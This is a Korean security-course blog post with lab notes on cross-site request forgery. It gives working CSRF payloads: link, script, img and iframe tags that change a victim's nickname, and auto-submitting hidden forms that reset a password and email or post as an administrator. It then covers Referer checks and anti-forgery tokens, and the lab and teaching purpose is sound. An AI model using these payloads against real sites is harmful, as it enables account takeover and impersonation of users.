kjh00n의 기록저장소

CSRF 본문

어플리케이션 보안 운영

CSRF

kjh00n 2025. 1. 7. 16:03

CSRF (Cross Site Request Forgery)

● 사이트 간 요청 위조 공격

● 웹 사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격

→ 정당한 기능을 정당한 사용자가 실행시키면 Server가 중요 정보를 변조, 생성, 삭제한다

(정당한 기능을 정당하지 않은 사용자가 실행시키면 Server가 막는다)

● Session Hijacking과 비슷함 → 클라이언트의 권한을 도용함

● 공격대상 : Server

● Server에게 요청하는 사항이 똑같아도 사용자에 따라서 Server의 응답은 다르다

● 공격자를 추적하기 어렵다

해커가 해야되는 일
1. 요청을 정확하게 분석해야 한다★
2. 요청문을 생성하기
3. 클라이언트가 어떻게 요청할지 결정 (관리자가 모르게)

CSRF vs XSS

※CSRF도 Script를 사용해도 된다. 사용하면 더 효율적으로 공격이 가능해진다.


실습

Server = 192.168.50.50

Client(root) = 192.168.50.1

Hacker(hacker) = 192.168.50.200

 

홈페이지에 hacker 계정과 root 계정 생성함

해커의 닉네임을 hacker로 변경할 때 날아가는 패킷 파악

닉네임 변경 요청 방식 = GET

요청 페이지 = /member/nick_change.php

사용자 입력값의 이름 = nick

300번 Redirect를 보냄. nick.php?ch=1로

서버가 Hacker에게 Redirect를 보내줌

Hacker가 Server에게 다시 요청함
성공적으로 변경되었다

"http://192.168.50.50/member/nick_change.php?nick=닉네임" 이라는 URL을 Client가 요청하도록 만들어야 한다.

 

<a href= "http://192.168.50.50/member/nick_change.php?nick=바보">클릭</a>

이라는 형태로 만들어야겠지?

hacker가 게시판에 글을 작성
관리자 입장에서 게시글 들어감
클릭하니까 관리자의 닉네임이 바보로 변경됨

관리자가 클릭하지 않으면 공격 불가능

 

Script를 사용

<script src ="http://192.168.50.50/member/nick_change.php?nick=바부멍충이" width="0" height="0"></script>

hacker가 script를 사용하여 게시글 작성
관리자의 닉네임이 자동으로 바부멍충이로 변경되었다

이미지 태그 사용

<img src="http://192.168.50.50/member/nick_change.php?nick=똥멍충이" width="0" height="0"></img>

hacker의 게시글 작성
특정 게시글 클릭했더니 자동으로 닉네임이 변경되었다

iframe 태그 사용

<iframe src="http://192.168.50.50/member/nick_change.php?nick=멍충멍충" width="0" height="0"></iframe>

hacker의 게시글 작성
페이지 새로고침을 하면 닉네임이 다시 변경된다

 

회원정보 변경해보기

POST방식이다. 사용자가 입력한 값이 뒤에 Parameter 값에 적혀있지 않고 HTTP Body에 들어가 있다
HTTP Body

회원 정보 변경 요청 방식 = POST

요청 페이지 = /member/info_change.php

사용자 입력값 = 5개 (user_pw1, user_pw2, age, nick, email)

 

POST방식으로

http://192.168.50.50/member/info_change.php에 총 5개의 값을 전달해야 한다.

그러려면 form태그를 사용해야 된다.

hacker의 게시글 등록
제출을 누르면
회원정보가 변경된다

이렇게 변경이 되지만 어느 멍청이가 저걸 제출하겠느냐

↓ 아래 코드처럼 input의 type을 hidden으로 설정해주고 기본값으로 적혀있을 수 있도록 value를 사용

<form method="post" action="/member/info_change.php">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="10">
<input type="hidden" name="nick" value="바보">
<input type="hidden" name="email" value="바보@바보.com">
<input type="submit" value="이벤트 당첨">
</form>

 

hacker의 게시글 등록
input의 type을 hidden으로 설정했기에 위 사진처럼 출력
F12를 누르면 다 보인다~

이벤트 당첨 누르면 회원정보 변경된다~

하지만 페이지가 회원정보 변경 페이지로 이동되기 때문에 사용자가 의심할 수 있다.

 

페이지도 유지하면서 닉네임 변경시키기

<iframe name=”i” width=”0” height=”0” style="display:none;"></iframe>
<form target=”i” id="hack" method="post" action="/member/info_change.php">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="10">
<input type="hidden" name="nick" value="바보">
<input type="hidden" name="email" value="바보@바보.com">
</form>
<script>document.getElementById("hack").submit()</script>

관리자가 해커가 등록한 게시글을 클릭하면 게시글 페이지가 나오면서 닉네임이 변경되었다

실습2

공격 실습 (CSRF)
공격 목표 : 클라이언트의 이름으로 게시글 자동 생성
관리자가 해커가 만든 게시글을 클릭하면 CSRF 공격을 수행하여 관리자의 권한으로 아래와 같은 게시글을 작성하도록 공격 수행

제목 : [필독] 공지사항
내용 : 우리 사이트 서비스 종료되었음을 알리며, 모두 탈퇴 요청합니다. 감사합니다.
<iframe name="i" width="0" height="0"></iframe>
<form target="i" id="hack" method="post" action="/board/board_write_ok.php">
<input type="hidden" name="name" value="root">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="email" value="root@kh.com">
<input type="hidden" name="sub" value="[필독] 공지사항">
<input type="hidden" name="cont" value="우리 사이트 서비스 종료되었음을 알리며, 모두 탈퇴 요청합니다. 감사합니다.">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="att_file">
</form>
<script>document.getElementById("hack").submit()</script>

hacker가 게시글을 등록
관리자가 게시글을 클릭하면 글이 자동으로 등록됨
여기서는 hacker가 관리자의 이름과 이메일을 직접 입력하여 CSRF 공격 수행함

강사님 ver.

전송 방식 = POST

위치 = 192.168.50.50/board/board_write_ok.php전송되는 정보들 = name, pw, email, sub, tag, cont, att_file

게시글을 등록하라 때의 정보들

<iframe name="i" width="0" height="0" sandbox></iframe> #내가 만든 게시글 출력
<form target="i" id="hack" method="post" action="/board/board_write_ok.php" enctype="multipart/form-data">
<input type="hidden" name="name" value="root">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="email" value="root@kh.com">
<input type="hidden" name="sub" value="[필독] 공지사항">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="cont" value="우리 사이트 서비스 종료되었음을 알리며, 모두 탈퇴 요청합니다. 감사합니다.">
<input type="file" name="att_file" style="display:none;">
</form>
<script>document.getElementById("hack").submit()</script> #게시글 클릭하면 게시글 자동 생성

---------------------------------------------------------------------------------------------------------------------
'글이 등록되었습니다'라는 alert는 board_write_ok에서 출력되는데 board_write_ok는 iframe에 위치해있음

'att_file'이라는 녀석을 'file' type으로 설정하면 노출이 된다. hidden으로 하면 error가 발생함
→ att_file을 안보이게 해야되는데 hidden으로 설정하는 것이 아닌 style="display:none;"으로 설정

iframe에 sandbox 추가
'글이 등록되었습니다'라는 alert 경고창은 출력되지 않음
sandbox의 옵션 종류이다. sandbox라고만 입력하면 위 옵션들 전체 적용이다

보안

① Referer

Client → Server 요청문 (정상적인 경로)

● 계정 정보 변경 경로 = info_change.php → info_change_ok.php

● 게시글 등록 경로 = board_write.php → board_write_ok.php

 

Hacker 요청문 (비정상적인 경로)

계정 정보 변경 공격 경로 = board_view.php → info_change_ok.php

● 게시글을 통한 공격 경로 = board_view.php → board_write_ok.php

 

닉네임 변경

→ nick.php에서 요청하는 것이 정상적인 경로이다. 그 외의 경로에서 요청하는 경로들은 모두 비정상이다

닉네임을 변경할 떄의 referer 값
nick_change.php에서 referer 설정을 적용
닉네임 수정 페이지가 아닌 다른 곳에서 닉네임을 수정하려고 하면 출력되는 결과

프록시로는 우회 가능

 

② Anti-Forgery Token

● Referer 값의 변조 가능성을 피하기 위해 임의의 값(Token)을 form에 할당하여 요청에 포함시킴

 

예시

  • 사용자가 로그인하고 웹사이트에서 특정 작업(예: 비밀번호 변경)을 하려 할 때, 서버는 고유한 토큰을 생성하여 그 페이지에 포함시킵니다.
  • 사용자가 그 작업을 제출하면, 이 토큰도 함께 서버로 전송됩니다.
  • 서버는 전송된 토큰을 확인하고, 이 토큰이 페이지에 포함된 원래 토큰과 일치하는지 검사합니다.
  • 일치하지 않으면 요청을 차단하고, CSRF 공격을 방지할 수 있습니다.

구현

token을 random으로 생성하는 코드
nick.php 설정
token 설정이 되어있는 모습
정상적인 경로
비정상적인 경로
닉네임을 수정할 때 Token 값도 전송된다 (token 값은 닉네임을 변경할 때마다 계속 바뀐다)

※값이 계속 바뀌기에 Session Hijacking은 불가능하다


실습하고 나서 referer과 Anti Forgery Token 코드들은 전부 주석처리 했고

Anti Forgery Token 코드 중 nick.php와 info.php에 있던 코드는 전부 삭제처리 하였음 ↓

<input type="hidden" name="token" value="<?=$_SESSION['token']?>">

 

'어플리케이션 보안 운영' 카테고리의 다른 글

SQL Injection  (1) 2025.01.08
XSS 보안 및 우회  (0) 2025.01.07
XSS  (0) 2025.01.06
WEB Session Attack  (0) 2025.01.06
WEB 인증 공격  (0) 2025.01.03